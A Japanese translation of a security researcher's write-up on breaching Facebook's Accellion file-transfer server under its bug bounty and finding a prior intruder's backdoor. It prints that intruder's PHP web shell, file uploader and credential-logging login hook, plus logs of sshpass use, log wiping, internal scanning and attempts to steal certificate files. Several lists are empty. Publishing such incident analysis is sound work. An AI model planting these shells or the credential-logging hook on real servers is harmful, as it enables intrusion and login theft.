Facebookをハッキングして他人のバックドアを発見した方法





セキュリティ研究者のOrange Tsaiは、Facebookのサーバーの1つをハッキングし、攻撃者が残した会社の従業員アカウントを収集する攻撃者のバックドアを発見しました。



彼のブログの研究者によると、彼は常にクライアント側(XSSなど)よりもサーバー側の攻撃に惹かれていました。



2012年、FacebookはBugBountyプログラムを開始しました。これにより、研究者はこの人気のソーシャルネットワークのサーバーの脆弱性の検索に参加するようになりました。



まず第一に、知性と情報収集の段階、またはいわゆる 攻撃対象を偵察します。



研究者はいくつかの目標を設定しました。





BugBountyプログラムには通常、明確な境界と制限がありますが、それでも研究者はネットワーク境界で脆弱なサービスを探すことにしました。これはBugBountyスカウトの一部ではないかもしれませんが、それでも世界で最も人気のあるソーシャルネットワークのインフラストラクチャのセキュリティに直接影響します。



逆whoisテクニックを使用して、彼は興味深いドメイン-tfbnw.netを発見しました。 この名前で、彼はTheFacebook Networkを扱っていることを提案しました。



このドメインはvpn.tfbnw.netサブドメインをホストし、サブドメインはJuniper SSL VPN Webインターフェイスをホストしました。 研究者にとって残念なことに、このバージョンには公開された脆弱性は含まれていませんでした。 しかし、このCクラスサブネットを調べて、彼はいくつかの興味深いサービスを発見しました。





また、これらのIPアドレスの中からfiles.fb.comが発見されました。 Webアプリケーションのフッターから判断すると、Accellionのセキュアファイル転送(FTAとも呼ばれます)が使用されました。







FTAは、安全なファイル転送、ファイル共有、同期、およびAD、LDAP、Kerberosなどのログインメカニズムとの統合を提供する製品です。 EnterpriseバージョンはSSL VPNサービスをサポートしています。



研究者は、この脆弱性の最新の公開エクスプロイトを見つけようとし、脆弱なバージョン0.18( Accellion File Transfer Applianceの脆弱性(CVE-2015-2856、CVE-2015-2857 ))の言及を見つけました。



バージョンは、リクエスト「/ tws / getStatus」によって判断できます。 最新バージョンがサイトにインストールされました-0.20には、上記の脆弱性は含まれていません。



ブラックボックスメソッドを使用して脆弱性を見つけることができなかった場合は、白いものを見つけることができます。 研究者はFTAソースコードをダウンロードし、この製品の脆弱性の検索に進みました。



アプリケーションを調べた後、いくつかの結論が出されました。





まず第一に、研究者はIonCubeの保護を解除しようとしましたが、公開ツールを使用しても成功しませんでした。 また、Rapid7は表面の脆弱性を発見し、さらに深く掘り下げる必要があると示唆しました。



FTA調査の結果は次のとおりです。





Facebookセキュリティチームに脆弱性メッセージを送信することに加えて、脆弱なソフトウェア会社Accellionのベンダーに通知が送信されました。 脆弱性には次のCVEが割り当てられます。





(詳細は、脆弱性の開示/非開示のポリシーの適用後に明らかにされます)。



T.N. sql-injectionを使用した「シェル注ぐ」:







サーバーへのアクセスを取得した後、研究者は非常に予測可能な手順を実行して、サーバー環境を調査し、検出を最小限に抑えました。 彼は発見した:





送信接続のファイアウォールルールは禁止されていますが、研究者はICMPトンネルを使用して接続を確立できました。



研究者がWebサーバー上で許容できる制御を確立した後、/ var / opt / apache / php_error_logログに奇妙なエラーメッセージが見つかりました。







エラーメッセージを調べて、影響を受けるディレクトリに移動すると、前の「訪問者」が残したWebシェルが見つかりました。







いくつかの「興味深い」ファイルの内容:

sshpass

Right, THAT sshpass
      
      





bN3d10Aw.php

 <?php echo shell_exec($_GET['c']); ?>
      
      





uploader.php

 <?php move_uploaded_file($_FILES["f]["tmp_name"], basename($_FILES["f"]["name"])); ?>
      
      





d.php

 <?php include_oncce("/home/seos/courier/remote.inc"); echo decrypt($_GET["c"]); ?>
      
      





sclient_user_class_standard.inc

 <?php include_once('sclient_user_class_standard.inc.orig'); $fp = fopen("/home/seos/courier/B3dKe9sQaa0L.log", "a"); $retries = 0; $max_retries = 100; // blah blah blah... fwrite($fp, date("Ymd H:i:s T") . ";" . $_SERVER["REMOTE_ADDR"] . ";" . $_SERVER["HTTP_USER_AGENT"] . ";POST=" . http_build_query($_POST) . ";GET=" . http_build_query($_GET) . ";COOKIE=" . http_build_query($_COOKIE) . "\n"); // blah blah blah...
      
      





最後のファイルのinclude_onceには、パスワードを確認するための「通常の」ファイルsclient_user_class_standard.inc.origへの呼び出しが含まれています。 攻撃者は、変更されたファイルをプロキシの一種として使用して、プレーンテキストのCOOKIES値であるGETおよびPOSTリクエストを収集しました。



未知の攻撃者が、ハッキングされたWebサーバーから簡単に取得できるログファイルを生成しました。

 wget https://files.fb.com/courier/B3dKe9sQaa0L.log
      
      







傍受されたアカウントの例:







2月1日から2月7日までに、約300のユーザーアカウント「@ fb.com」と「@ facebook.com」が傍受されました。





攻撃者が取得したデータは、関連するサービス(VPN、OWAなど)の侵害につながる可能性があります。



研究者は、攻撃者の行動はかなり不注意であり、プロフェッショナリズムが欠如していることを示しています。



数日ごとに、攻撃者はログを消去しました。



 192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] "GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '12069238df' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo > /home/seos/courier/B3dKe9sQaa0L.log' 2>/dev/stdout HTTP/1.1" 200 2559 ...
      
      







アーカイブされたファイル:



 cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2>/dev/stdout tar -czvf files.tar.gz files
      
      







内部ネットワークの調査:



 dig a archibus.thefacebook.com telnet archibus.facebook.com 80 curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php dig a records.fb.com telnet records.fb.com 80 telnet records.fb.com 443 wget -O- -q http://192.168.41.16 dig a acme.facebook.com ./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout ...
      
      







ShellScriptを使用して内部ネットワークをスキャンしましたが、STDERRのリダイレクトを忘れました:







LDAPサーバーに接続しようとしました:



 sh: -c: line 0: syntax error near unexpected token `(' sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
      
      







OWAに直接アクセスしようとした:



 --20:38:09-- https://mail.thefacebook.com/ Resolving mail.thefacebook.com... 192.168.52.37 Connecting to mail.thefacebook.com|192.168.52.37|:443... connected. HTTP request sent, awaiting response... 302 Found Location: https://mail.thefacebook.com/owa/ [following] --20:38:10-- https://mail.thefacebook.com/owa/ Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 302 Moved Temporarily Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following] --20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 Reusing existing connection to mail.thefacebook.com:443. HTTP request sent, awaiting response... 200 OK Length: 8902 (8.7K) [text/html] Saving to: `STDOUT' 0K ........ 100% 1.17G=0s 20:38:10 (1.17 GB/s) - `-' saved [8902/8902] --20:38:33-- (try:15) https://10.8.151.47/ Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/ Resolving svn.thefacebook.com... failed: Name or service not known. --20:39:03-- https://sb-dev.thefacebook.com/ Resolving sb-dev.thefacebook.com... failed: Name or service not known. failed: Connection timed out. Retrying.
      
      







ルートSSL証明書を盗もうとしました:



 sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied ls: /etc/opt/apache/ssl.key/server.key: No such file or directory mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied mv: cannot stat `x': No such file or directory sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied base64: invalid input
      
      







ブラウザでチェックインすると、files.fb.comがfb.com証明書で署名されていることがわかります。







研究者は、サーバー上の攻撃者の脆弱性と活動をFacebookの技術専門家に報告しました。 ログの分析により、7月と9月にシステムへの2つの侵入があったことが示されました。 同じ攻撃者であったかどうかは不明です。 7月の事件は、Metasploit Frameworkの一部としてのRapid7からの上記のCVE-2015-2857の悪用時にちょうど発生しました。



All Articles